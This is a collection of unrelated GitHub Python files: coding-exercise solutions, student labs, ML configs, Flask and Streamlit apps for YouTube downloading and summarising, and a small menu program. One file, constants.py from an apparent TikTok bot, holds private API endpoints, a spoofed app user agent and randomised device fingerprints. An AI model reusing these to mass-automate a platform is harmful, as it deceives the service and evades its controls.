+{"seq_id":"19528489512","text":"class Solution(object):\n    def lengthOfLongestSubstring(self, s):\n        \"\"\"\n        :type s: str\n        :rtype: int\n        \"\"\"\n        pos_dict = {}\n        left = 0\n        max_substring=0\n        for right in range(len(s)):\n            if s[right] in pos_dict:\n                left = max(pos_dict[s[right]]+1,left)\n            pos_dict[s[right]] = right\n            max_substring = max(max_substring,right-left+1)\n        return max_substring\n\nif __name__ == '__main__':\n    s1 = Solution()\n    s = 'abba'\n    print(s1.lengthOfLongestSubstring(s))\n","repo_name":"ICCV/coding","sub_path":"others/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"41316141762","text":"\n# coding: utf-8\n\n# In[64]:\n\n\n#Load Dicts\nstock = {\"banana\": 6, \"apple\": 0, \"orange\": 32, \"pear\": 15}\nprices = {\"banana\": 4, \"apple\": 2, \"orange\": 1.5, \"pear\": 3}\n\n\n# ## a.\n# Show the expression that gets the value of the stock dictionary at the key ‘orange’.\n# \n# Show a statement that adds an item to the stock dictionary called ‘cherry’ with some integer value and that adds ‘cherry’ to the prices dictionary with a numeric value. (Or pick your own fruit name.)\n\n# In[83]:\n\n\n#Checking the value for key 'orange' in stock dict\nstock['orange']\nprint('The value of orange is: {}'.format( stock['orange']))\n\n#Add cherry to the stock dict\nstock['cherry'] = 4\nprices['cherry'] = 1\n\n#Simple check\nif 'cherry' in stock:\n    print('Cherry is now in the stock dict')\nif 'cherry' in prices:\n    print('Cherry is now in the prices dict')\n\n\n# ## b.\n# Write the code for a loop that iterates over the stock dictionary and prints each key and value.\n\n# In[84]:\n\n\nfor key, value in stock.items(): #This method returns a list of tuple pairs.\n    print(key, value)\n#https://www.tutorialspoint.com/python/dictionary_items.htm\n\n\n# ## c.\n# Suppose that we have a list:\n# \n# groceries = [‘apple’, ‘banana’, ‘pear’]\n# \n# Write the code that will sum the total number in stock of the items in the groceries list.\n\n# In[95]:\n\n\n#Load List\ngroceries = ['apple', 'banana', 'pear']\n\nimport numpy as np #For operations\n\n#Trying out mapping\nnp.sum(list(map(stock.get, groceries)))\nprint('Stock Count mapping: {}'.format(np.sum(list(map(stock.get, groceries)))))\n\n#Trying List Comprehension\nnp.sum([stock[i] for i in groceries])\nprint('Stock Count List Comprehension: {}'.format(np.sum([stock[i] for i in groceries])))\n\n#Tried out two different methods here. Listcomp was more familiar and easier to understand, but I've heard \n#Mapping is faster when scaling.\n\n\n# ## d.\n# Write the code that can print out the total value in stock of all the items. \n# \n# This program can iterate over the stock dictionary and for each item multiply the number in stock times the price of that item in the prices dictionary. (This can include the items for ‘cherry’ or not, as you choose.)\n\n# In[96]:\n\n\n#Creating a new dict with the stored keys/values of the multiplication\nprint({key: price * stock[key] for key, price in prices.items()} )\n\n#Print out the total cost/rev of inventory in stock.\nprint('Total Price*Stock of Inventory = ${}'.format(sum(price * stock[key] for key, price in prices.items())))\n\n","repo_name":"jacobdineen/syracuse","sub_path":"Scripting for Data Analysis/Labs/Lab2_JakeDineen.py","file_name":"Lab2_JakeDineen.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"1640228921","text":"#!/usr/bin/env python  \n# -*- coding:utf-8 _*-\n\"\"\" \n@author: wangye(Wayne) \n@license: Apache Licence \n@file: Number of Smooth Descent Periods of a Stock.py \n@time: 2021/12/19\n@contact: wang121ye@hotmail.com\n@site:  \n@software: PyCharm \n\n# code is far away from bugs.\n\"\"\"\n\nfrom typing import *\n\n\nclass Solution:\n    def getDescentPeriods(self, prices: List[int]) -> int:\n        dp = [1] * len(prices)\n        for i in range(1, len(prices)):\n            if prices[i] == prices[i - 1] - 1:\n                dp[i] += dp[i - 1]\n        return sum(dp)\n","repo_name":"wangyendt/LeetCode","sub_path":"Contests/201-300/week 272/2110. Number of Smooth Descent Periods of a Stock/Number of Smooth Descent Periods of a Stock.py","file_name":"Number of Smooth Descent Periods of a Stock.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"57"}
+{"seq_id":"38012095590","text":"from flask import Blueprint, request\nimport json\nimport grpc\nimport random\n\nfrom TrainingService_pb2 import TrainRequest, TrainResponse, TrainingInstanceInfo, TrainingInstanceList, InstanceFilter\nfrom TrainingService_pb2_grpc import TrainingServiceStub\n\ntrainingServiceChannel = grpc.insecure_channel(\"training_instance:8081\")\ntrainingService = TrainingServiceStub(trainingServiceChannel)\n\napp = Blueprint('admin-app', __name__, url_prefix='/v1')\n\n\nquotes = [\n    \"Gentlemen, you can't fight in here! This is the War Room.\",\n    \"...Nobody calls me Lebowski. You got the wrong guy. I'm the Dude, man.\",\n    \"Joey, do you like movies about gladiators?\",\n    \"I'm in a glass case of emotion!\",\n    \"If I'm not back in five minutes, just wait longer.\",\n    \"Electrolytes, it’s what plants crave!\",\n    \"If you can dodge a wrench, you can dodge a ball.\",\n    \"Take my strong hand.\",\n    \"Did we just become best friends?\"\n]\n\n\n@app.route(\"/\")\ndef sayHello():\n    i = random.randint(0, len(quotes)-1)\n    res = '<html><body><h1>{}: \"{}\"</h1></body></html>'.format(i, quotes[i])\n    return res\n\n\n@app.route('/spawnInstance', methods=[\"POST\"])\ndef newTrainingInstance ():\n    classlist = request.form.getlist('class')\n    classlistjson = json.dumps(classlist) if classlist else None\n    checkpoint_name = request.form.get('checkpointName')\n    instance_name = request.form.get('instanceName')\n\n    res = trainingService.TrainModel(\n        TrainRequest(\n            classlist = classlistjson,\n            checkpoint_name = checkpoint_name,\n            instance_name = instance_name\n        ))\n    instance_name = res.instance_name\n\n    return json.dumps({'response': res.response, 'instance_name': instance_name })\n\n\n@app.route('/changeModel', methods=['POST'])\ndef changeModel():\n    return \"sddf\"","repo_name":"aaaaaaaalex/api","sub_path":"app/v1/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"1802979299","text":"import time\nimport numpy as np\nimport vecplotter_numpy as vecnp\nimport vecplotter_torch as vecth\nimport vecplotter_torch_refactored as vecthref\nimport vecplotter_legacy as vecleg\nimport torch\n\nconfig = {\n    'left': 150,\n    'top': 150,\n    'step': 5,\n    'nx': 2,\n    'ny': 2,\n    'search_radius_x': 20,\n    'search_radius_y': 15,\n    'window_radius_x': 10,\n    'window_radius_y': 5,\n    'element_size': 8,\n    'memory_limit': 3,\n    'device': 'auto',\n    'sa_cx': 30, \n    'sa_cy': 30, \n    'rw_cx': 10,\n    'rw_cy': 10,\n    'legacy': False,\n}\n\ndef generate_data(N=150, search_radius=30, window_radius=10):\n\n    data1 = np.random.randint(0, high=100, size=(N, N))#.astype(np.float)\n    data2 = np.random.randint(0, high=100, size=(N, N))#.astype(np.float)\n    \n    return data1, data2\n\ndef get_batch_size(memory_limit_gb, config):\n    \n    npoints = config['nx'] * config['ny']\n    element_size = config['element_size']\n    legacy = config['legacy']    \n    if not legacy:\n        window_radius_x = config['window_radius_x']\n        search_radius_x = config['search_radius_x']\n        window_radius_y = config['window_radius_y']\n        search_radius_y = config['search_radius_y']\n\n        window_size_x = window_radius_x * 2 + 1\n        window_size_y = window_radius_y * 2 + 1\n        search_size_x = search_radius_x * 2 + 1\n        search_size_y = search_radius_y * 2 + 1\n        \n        ssim_size_x = search_size_x - window_size_x + 1\n        ssim_size_y = search_size_y - window_size_y + 1\n    else:\n        sa_cx = config['sa_cx']\n        sa_cy = config['sa_cy']\n        rw_cx = config['rw_cx']\n        rw_cy = config['rw_cy']\n        \n        sa_left = - sa_cx // 2\n        sa_right = sa_cx // 2 - sa_cx\n        sa_top = - sa_cy // 2\n        sa_bottom = sa_cy // 2 - sa_cy\n        \n        ssim_size_x = sa_right - sa_left\n        ssim_size_y = sa_bottom - sa_top\n        \n        rw_left = - rw_cx // 2\n        rw_right = - rw_cx // 2 + rw_cx\n        rw_top = - rw_cy // 2\n        rw_bottom = - rw_cy // 2 + rw_cy\n        \n        window_size_x = rw_right - rw_left + 1\n        window_size_y = rw_bottom - rw_top + 1\n\n    window_numel = window_size_x * window_size_y\n    ssim_numel = ssim_size_x * ssim_size_y\n    point_numel = ssim_numel * window_numel\n    point_size = point_numel * element_size * 3\n    total_numel = point_numel * npoints\n    total_size = point_size * npoints\n    memory_limit = memory_limit_gb * 1024 ** 3\n        \n    batch_size = memory_limit // point_size\n    return batch_size\n\n    \ndef estimate_memory_footprints(npoints=1, search_radius=100, window_radius=30, element_size=8):\n    window_size = window_radius * 2 + 1\n    search_size = search_radius * 2 + 1\n    window_numel = window_size ** 2\n    ssim_size = search_size - window_size + 1\n    ssim_numel = ssim_size ** 2\n    total_numel = ssim_numel * window_numel\n    total_size = total_numel * element_size * npoints\n    result_numel = ssim_numel * npoints\n    result_size = result_numel * element_size\n    print(f'{[npoints, ssim_numel, window_numel]} - {total_numel} - {total_size / 1024 / 1024 :.2f} MB')\n    print(f'Estimated size: {total_numel} elements, {total_size / 1024 / 1024 :.2f} MB')\n    print(f'Estimated size of result: {result_numel} elements, {result_size / 1024 / 1024 :.2f} MB')\n\n\ndef main():\n    N = 350\n    data1, data2 = generate_data(N, config['search_radius_x'], config['window_radius_x'])\n\n    t = time.time()\n    vectors_np = vecnp.run_algorithm(data1, data2, config)\n    print(f'Numpy version - time elapsed: {time.time() - t:.2f} seconds')\n\n    # t = time.time()\n    # vecth.run_algorithm(data1, data2, config)\n    # print(f'PyTorch version - time elapsed: {time.time() - t:.2} seconds')\n\n    t = time.time()\n    vectors_legacy = vecleg.run_algorithm(data1, data2, config)\n    print(f'Version legacy - time elapsed: {time.time() - t:.2f} seconds')\n\n    t = time.time()\n    vectors_th_ref = vecthref.run_algorithm(data1, data2, config)\n    print(f'PyTorch version refactored - time elapsed: {time.time() - t:.2f} seconds')\n\n    for i, (v1, v2, v3) in enumerate(zip(vectors_np, vectors_th_ref, vectors_legacy)):\n        print(f'{i:=^61}')\n        print(v1)\n        print(v2)\n        print(v3)\n\nif __name__ == \"__main__\":\n    estimate_memory_footprints(16, 60, 20)\n    \n    config['batch_size'] = get_batch_size(3, config)\n    print(config['batch_size'])\n    main()\n    \n  #  print(torch.cuda.get_device_properties(0).total_memory - torch.cuda.get_device_properties(0).total_memory*0.25)","repo_name":"pikvic/pyvecplotter_torch","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"4466017371","text":"import os, random\r\n\r\nTIKTOK_API_19 = 'https://api2-19-h2.musical.ly'\r\nTIKTOK_API_16 = 'https://api2-16-h2.musical.ly'\r\nTIKTOK_API = ('https://api2-19-h2.musical.ly', 'https://api2-16-h2.musical.ly')\r\nTIKTOK_IM = 'https://imapi-16.musical.ly'\r\n\r\n# App related\r\nAPP_DATA = {\r\n    'update_version_code': 2021407050,\r\n    'version_code': 140705,\r\n    'app_version': \"14.7.5\",\r\n    'app_key': \"5559e28267e58eb4c1000012\",\r\n    'release_build': \"688b613_20200121\",\r\n}\r\n\r\n# Device related\r\nDEVICE_DATA = {\r\n    'brand': \"Google\",\r\n    'model': \"Pixel 2 XL\",\r\n    'resolution': random.choice((\"2712x1440\", \"2560x1800\", \"2560x1600\", \"1920x1200\", \"1536x2048\", \"1440x2560\")),\r\n    'cpu_abi': random.choice((\"arm64-v8a\", \"armeabi-v7a\")),\r\n    'os_version': random.choice((\"10\", \"9.0\", \"8.0\", \"7.1\", \"7.0\", \"6.0\")),\r\n    'os_api': random.choice((23, 24, 25, 26, 28, 29)),\r\n    'rom_version': ''.join(str(random.randint(0, 9)) for _ in range(10))\r\n}\r\n\r\n\r\n\r\n# DEVICE_DATA = {\r\n#     'brand': \"Google\",\r\n#     'model': \"Google Nexus 6P\",\r\n#     'resolution': \"1440x2392\",\r\n#     'cpu_abi': \"arm\",\r\n#     'os_version': \"6.0\",\r\n#     'os_api': 29,\r\n#     'rom_version': \"Android\",\r\n# }\r\n\r\nBASIC_HEADERS = {\r\n    \"User-Agent\": \"com.zhiliaoapp.musically/2021407050 (Linux; U; Android 10; en_US; Pixel 2 XL; Build/QQ1A.191205.008)\",\r\n    # \"User-Agent\": \"okhttp/3.10.0.1\",\r\n    \"Accept-Encoding\": \"gzip, deflate\",\r\n    \"Connection\": \"close\"\r\n}\r\n\r\nSRC_DIR = os.path.dirname(__file__)","repo_name":"harrisonwhiskey/TikTok_Bot","sub_path":"tiktok/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"57"}
+{"seq_id":"2879509172","text":"from django.urls import path\nfrom . import views\n\napp_name='main'\nurlpatterns =[\n    path('', views.index, name=\"index\"),\n    path('simbathon/', views.simbathon, name=\"simbathon\"),\n    path('process/', views.process, name=\"process\"),\n    path('judge/', views.judge, name=\"judge\"),\n    path('reward/', views.reward, name=\"reward\"),\n    path('developer/', views.developer, name=\"developer\"),\n    path('dgulion/', views.dgulion, name=\"dgulion\"),\n]","repo_name":"SJLEE316/2021-dgulion-simbathon","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"57"}
+{"seq_id":"26564310939","text":"import random\n\nimport numpy as np\nimport torch\nfrom torch.backends import cudnn\n\n# Random seed to maintain reproducible results\nrandom.seed(0)\ntorch.manual_seed(0)\nnp.random.seed(0)\n# Use GPU for training by default\ndevice = torch.device(\"cuda\", 0)\n# Turning on when the image size does not change during training can speed up training\ncudnn.benchmark = True\n# Model arch name\nmodel_arch_name = \"resnet56_bottleneck_v1\"\nwarmup = False\nregularization = False\nk = 3\nshortcut_connection = \"identity\"\n# Model normalization parameters\nsubtract_pixel_mean = False\n# model_mean_parameters = [0.49139968, 0.48215845, 0.4465309]\n# model_std_parameters = [1 , 1, 1] #[0.12835708, 0.12578596, 0.15331733]\n# Model number class\nmodel_num_classes = 10\n# Current configuration parameter method\nmode = \"train\"\n# Experiment name, easy to save weights and log files\nn = \"_regularized\" if regularization else \"\"\nexp_name = f\"{model_arch_name}-CIFAR10\" + n\n\nif mode == \"train\":\n    # Dataset address\n    image_dir = \"./data/CIFAR10/CIFAR10_img_train\"\n\n    image_size = 36\n    batch_size = 128\n    num_workers = 4\n\n    # The address to load the pretrained model\n    pretrained_model_weights_path = None #\"./results/pretrained_models/ResNet18-CIFAR10-57bb63e.pth.tar\"\n\n    # Incremental training and migration training\n    resume = \"\"\n\n    # Total num epochs\n        # 164 per 50000 imgs, 205 per 40000 (corrispondono piu o meno a 64000 steps)\n    epochs = 207 if warmup else 205 # prime 2 epoche di warm-up\n\n    # Loss parameters\n    # loss_label_smoothing = 0 #.1\n    loss_weights = 1.0\n    l2_lambda = 2e-4 if regularization else 0 # 1e-4, 2e-4, 3e-4\n\n    # Optimizer parameter\n    model_lr = 0.1\n    model_momentum = 0.9\n    model_weight_decay = 1e-04\n    \n    # Scheduler parameters\n    warmup_drop = 3 # about 800 steps\n    primo_drop = 102 # 82 epoche: 32000 steps (batch_size = 128 e dataset 50000 elementi)\n                    # 102 epoche: 32000 steps (batch_size = 128 e dataset 40000 elementi)\n    secondo_drop = 138 # 123  epoche: 48000 steps (batch_size = 128 e dataset 50000 elementi) \n                    # 138 epoche: 48000 steps (batch_size = 128 e dataset 40000 elementi)\n\n    # How many iterations to print the training/validate result\n    train_print_frequency = 200\n    valid_print_frequency = 20\n\nif mode == \"test\":\n    # Test data address\n    test_image_dir = \"./data/CIFAR10/CIFAR10_img_test\"\n\n    # Test dataloader parameters\n    image_size = 32\n    batch_size = 128\n    num_workers = 4\n\n    # How many iterations to print the testing result\n    test_print_frequency = 20\n\n    model_weights_path = \"./results/pretrained_models/resnet56_last.pth.tar\"\n","repo_name":"whynotmich00/ResNet-Pytorch","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"71130594100","text":"\"\"\"Loop Detection\nGiven a circular linked list, implement an algorithm that returns the node at the\nbeginning of the loop.\nDEFINITION\nCircular linked list: A (corrupt) linked list in which a node's next pointer points to an earlier node, so\nas to make a loop in the linked list.\n\nEXAMPLE\nInput: A -> B -> C -> D -> E -> C [thesameCasearlier]\nOutput: C\n\nHints: \n#50 \nThere are really two parts to this problem. First, detect if the linked list has a loop.\nSecond, figure out where the loop starts.\n#69\nTo identify if there's a cycle, try the \"runner\" approach described on page 93. Have one\npointer move faster than the other.\n#83\nYou can use two pointers, one moving twice as fast as the other. If there is a cycle, the\ntwo pointers will collide. They will land at the same location at the same time. Where do\nthey land? Why there?\n#90\nIf you haven't identified the pattern of where the two pointers start, try this: Use the\nlinked list 1->2->3->4->5->6->7->8->9->?, where the? links to another node. Try\nmaking the? the first node (that is, the 9 points to the 1 such that the entire linked list\nis a loop). Then make the? the node 2. Then the node 3. Then the node 4. What is the\npattern? Can you explain why this happens?\n\"\"\"\n\nfrom SingleLinkedList import SingleLinkedList\nimport unittest\n\ndef find_starting_point(linkedlist):\n    first_runner = linkedlist.head\n    second_runner = linkedlist.head\n\n    while second_runner:\n        first_runner = first_runner.next\n        second_runner = second_runner.next.next\n        if first_runner is second_runner:\n            break\n    if second_runner is None and second_runner.next is None:\n        return None\n    \n    second_runner = linkedlist.head\n    while first_runner:\n        if first_runner is second_runner:\n            return first_runner.data\n        first_runner = first_runner.next\n        second_runner = second_runner.next\n    return None\n\n\nclass CircularLinkedList(SingleLinkedList):\n    def make_circuit(self):\n        current_node = self.head\n        while current_node.next:\n            current_node = current_node.next\n        current_node.next = self.head\n\n\nclass SingleLinkedListWithNode(SingleLinkedList):\n    def append_node(self, node):\n        current_node = self.head\n        while current_node.next:\n            current_node = current_node.next\n        current_node.next = node\n\n\nclass Test(unittest.TestCase):\n    def setUp(self):\n        cll = CircularLinkedList()\n        cll.append(2)\n        cll.append(5)\n        cll.append(7)\n        cll.append(9)\n        cll.append(1)\n        cll.make_circuit()\n        self.sll = SingleLinkedListWithNode()\n        self.sll.append(4)\n        self.sll.append(5)\n        self.sll.append(6)\n        self.sll.append_node(cll.head)\n    \n    def test_find_starting_point(self):\n        self.assertEqual(find_starting_point(self.sll), 2)\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"ChulwooKim-AI/ctci-6th-edition","sub_path":"Chapter2_LinkedList/08.LoopDetection.py","file_name":"08.LoopDetection.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"16006889395","text":"class ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\n\ndef merge_with_sort(list1: ListNode, list2: ListNode):\n\n    list = []\n\n    curr = list1\n    curr2 = list2\n\n    while True:\n\n        if curr is None:\n            list.append(curr2.val)\n            curr2=curr2.next\n        elif curr2 is None:\n            list.append(curr.val)\n            curr=curr.next\n        elif curr.val == curr2.val :\n            list.append(curr.val)\n            list.append(curr2.val)\n            curr=curr.next\n            curr2=curr2.next\n        elif curr.val < curr2.val :\n            list.append(curr.val)\n            curr=curr.next\n        else :\n            list.append(curr2.val)\n            curr2=curr2.next\n\n        if curr is None and curr2 is None:\n            break\n\n    return list\n\n\nif __name__ == '__main__':\n\n    arr2_third_node = ListNode(4, None)\n    arr2_second_node = ListNode(3, arr2_third_node)\n    arr2_first_node = ListNode(1, arr2_second_node)\n\n    arr1_third_node = ListNode(3,None)\n    arr1_second_node = ListNode(2,arr1_third_node)\n    arr1_first_node = ListNode(1,arr1_second_node)\n\n    result = merge_with_sort(arr1_first_node, arr2_first_node)\n\n    print('result : ' + str(result))\n","repo_name":"jsw4215/algorithm_study","sub_path":"list/merging_two_soted_list_for_understand.py","file_name":"merging_two_soted_list_for_understand.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"72061001139","text":"import streamlit as st\nfrom pytube import YouTube\nimport os\n\ndef main():\n    st.title(\"YouTube Video Downloader\")\n\n    # Determine the download folder based on the user's operating system\n    if os.name == \"nt\": # Windows OS\n        DOWNLOAD_FOLDER = f\"{os.path.expanduser('~')}\\\\Downloads\"\n    else: # Linux/Mac OS\n        DOWNLOAD_FOLDER = f\"{os.path.expanduser('~')}/Downloads\"\n\n    # Get the YouTube video URL from the user\n    video_url = st.text_input(\"Enter the YouTube video URL:\")\n\n    # Download the YouTube video when the user clicks the \"Download\" button\n    if st.button(\"Download\"):\n        try:\n            # Create a YouTube object from the video URL\n            yt = YouTube(video_url)\n\n            # Get the highest resolution video stream\n            stream = yt.streams.get_highest_resolution()\n\n            # Download the video to the download folder\n            stream.download(output_path=DOWNLOAD_FOLDER)\n\n            # Show success message to user\n            st.success(\"Video downloaded successfully! Check your Downloads folder.\")\n\n        except Exception as e:\n            # Show error message to user\n            st.error(f\"Oops! Something went wrong. Error message: {e}\")\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Anuj-gr8/Youtube-Downloader","sub_path":"fownloader.py","file_name":"fownloader.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"70113856179","text":"from flask import Flask, request, redirect\nfrom flask import render_template\nimport json\nimport configparser\nimport langchain\nfrom langchain.document_loaders import YoutubeLoader\nfrom langchain.llms import OpenAI\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\nfrom langchain.chains.summarize import load_summarize_chain\nfrom langchain.prompts import PromptTemplate\nfrom langchain.cache import InMemoryCache\nfrom youtube_transcript_api import YouTubeTranscriptApi, NoTranscriptFound\nfrom collections import defaultdict\n\napp = Flask(__name__)\n\nlangchain.llm_cache = InMemoryCache()\n\n# promat template\nprompt_template1 = \"\"\"Write a concise summary of the following:\n\n\n{text}\n\n\nCONCISE SUMMARY:\"\"\"\n\nprompt_template2 = \"\"\"highlights of the transcript in concise manner with emoji minimum 7 points:\n\n\n{text}\n\n\nCONCISE SUMMARY:\"\"\"\n\n@app.route(\"/\")\ndef home():\n    return render_template(\"index.html\",title='Transcribus')\n\n@app.route('/splashScreen', methods=['POST'])\ndef splash():\n    videoUrl = request.form['videoUrl']\n    return render_template('splashScreen.html',title='Transcribus', videoUrl=videoUrl)\n\n\n@app.route('/output', methods=['POST'])\ndef target_page():\n    videoUrl = request.args.get('videoUrl')\n    long_trnasct, video_info = get_llm_transcript(videoUrl)\n    transct = get_youtube_transcript(videoUrl)\n    summaryv2 = openAI_summary(long_trnasct,get_api_key(), 'summary')\n    highlightv2 = openAI_summary(long_trnasct,get_api_key(), 'highlight')\n    # summaryv2 = 'hi here is the error'\n    # highlightv2 = 'hi here is the error'\n    response =  json.dumps({'summary': json.dumps(summaryv2), 'highlight': json.dumps(highlightv2), 'transct':json.dumps(transct), 'video_info':json.dumps(video_info)})\n    return response\n\n@app.route('/summarize')\ndef output():\n    summaryv2 = json.loads(request.args.get('summary'))\n    highlightv2 =  json.loads(request.args.get('highlight'))\n    transct = json.loads(request.args.get('transct'))\n    video_info = json.loads(request.args.get('video_info'))\n    return render_template('summarize.html', title='Transcribus', summaryv2=summaryv2, highlightv2=highlightv2, transct=transct,video_info=video_info)\n\ndef get_api_key():\n    config = configparser.ConfigParser()\n    config.read('config.ini')\n    return config['openaikey']['api']\n\ndef get_llm_transcript(youtube_url):\n        loader = YoutubeLoader.from_youtube_channel(str(youtube_url))\n        result = loader.load()\n        try:\n            vd= loader._get_video_info()\n            vd['publish_date'] = vd['publish_date'].strftime('%M:%S')\n        except:\n            vd = 'No Info about Video available'\n        return result, vd\n\ndef get_youtube_transcript(youtube_url):\n    video_id = youtube_url.split(\"youtube.com/watch?v=\")[-1]\n    print(video_id)\n    transcript_list = YouTubeTranscriptApi.list_transcripts(video_id)\n    try:\n        transcript = transcript_list.find_transcript(['en-GB'])\n    except NoTranscriptFound:\n        transcript = transcript_list.find_transcript([\"en\"])\n        error = 'not available in selected language'\n    print('here1')\n    captions_dict = defaultdict(list)\n    for caption in transcript.fetch():\n        start_time = round(caption['start'] / 60) * 60\n        caption_text = caption['text'].strip()\n        captions_dict[start_time].append(caption_text)\n    captions_final = {}\n    for time, captions in captions_dict.items():\n        minutes, seconds = divmod(time, 60)\n        time_formatted = f\"{minutes:02d}:{seconds:02d}\"\n        captions_formatted = \"\\n\".join([caption for caption in captions])\n        captions_final[time_formatted] = captions_formatted.strip()\n    print('here2')\n    return captions_final\n\ndef openAI_summary(transct_text, api_key, type = 'summary'):\n    print(api_key)\n    text_splitter = RecursiveCharacterTextSplitter(chunk_size=1000, chunk_overlap=0)\n    llm = OpenAI(temperature=0, openai_api_key=api_key, max_tokens=256, streaming=False)\n    texts = text_splitter.split_documents(transct_text)\n    print('here4')\n    if type=='summary': prompt_template = prompt_template1\n    elif type=='highlight': prompt_template = prompt_template2\n    else: print(f'Specify the correct Type')\n    try:\n        PROMPT = PromptTemplate(template=prompt_template, input_variables=[\"text\"])\n        print(PROMPT)\n        chain = load_summarize_chain(llm, chain_type=\"map_reduce\", verbose=False, map_prompt=PROMPT, combine_prompt=PROMPT)\n        print('here45')\n        print(chain)\n        response = chain.run(texts)\n        print('here5')\n        return response\n    except:\n        return 'Some error in API'\n\n\nif __name__ == \"__main__\":\n    # app.run(host=\"0.0.0.0\", port=8080, debug=True)\n    app.run(host=\"0.0.0.0\", port=8080, debug=False)\n\n","repo_name":"deBUGger404/Youtube-Video-Summarizer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"70859199860","text":"\"\"\"tes\n\"\"\"\n#tes\ndef do_something(x):\n    if x == 0:\n        return 0\n    elif x + 4 == 1:\n        if True:\n            return 3\n        else:\n            return 2\n    elif x == 32:\n        return 4\n    else:\n        return \"cunt\"","repo_name":"Haruray/tugas-tbfo","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"17353140316","text":"import os\r\nimport numpy as np\r\nimport shutil\r\nfrom shutil import copyfile\r\nDIR1=\"D:\\\\Gender Data\\\\male\"\r\nDIR2=\"D:\\\\Gender Data\\\\female\"\r\nDIR=\"D:\\\\data\\\\UTKFace\\\\face\"\r\nimages = os.listdir(DIR)\r\nfor image in images:\r\n\tpath = os.path.join(DIR,image)\r\n\tprint(path)\r\n\tindex=(image[image.find('_',1)+1]) #Detect Gender\r\n\tprint(index)\r\n\tprint(type(index))\r\n\tif index=='0':\r\n\t\tprint(\"male\")\r\n\t\t# shutil.copy2(path,DIR1)\r\n\tif index=='1':\r\n\t\tprint(\"female\")\r\n\t\t# shutil.copy2(path,DIR2)\r\n\tbreak","repo_name":"lelouchmarsh/DAGER","sub_path":"Process_data/utkface.py","file_name":"utkface.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"3115562112","text":"from classes import Agenda\n\ndef main():\n    agenda = Agenda()\n\n    while True:\n        print(\"Opções de Menu:\")\n        print(\"1. Adicionar Matéria\")\n        print(\"2. Adicionar Atividad\")\n        print(\"3. Marcar Atividade feita\")\n        print(\"4. Listar Atividades em Aberto\")\n        print(\"5. Listar Atividades feitas\")\n        print(\"6. Sair\")\n\n        opcao = input(\"Selecione uma opção: \")\n\n        if opcao == \"1\":\n            nome_materia = input(\"Nome da materia: \")\n            agenda.adicionar_disciplina(nome_materia)\n        elif opcao == \"2\":\n            nome_materia = input(\"Nome da materia: \") \n            exercicio = input(\"Nome do exercicio: \")\n            data = input(\"Data do exercicio: \")\n            if not agenda.adicionar_atividade(nome_materia, exercicio, data):\n                print(\"Não é possível adicionar dois exercícios na mesma data.\")\n        elif opcao == \"3\":\n            nome_materia= input(\"Nome do exercicio: \")\n            exercicio = input(\"Nome do Exercício: \")\n            if not agenda.marcar_concluida(nome_materia, exercicio):\n                print(\"Exercício ou Matéria não encontrada.\")\n        elif opcao == \"4\":\n            agenda.listar_atividades(concluidas=False)\n        elif opcao == \"5\":\n            agenda.listar_atividades(concluidas=True)\n        elif opcao == \"6\":\n            break\n        else:\n            print(\"Tente novamente\")\n\nif _name_ == \"_main_\":\n    main()\n","repo_name":"muphridd/naosei","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
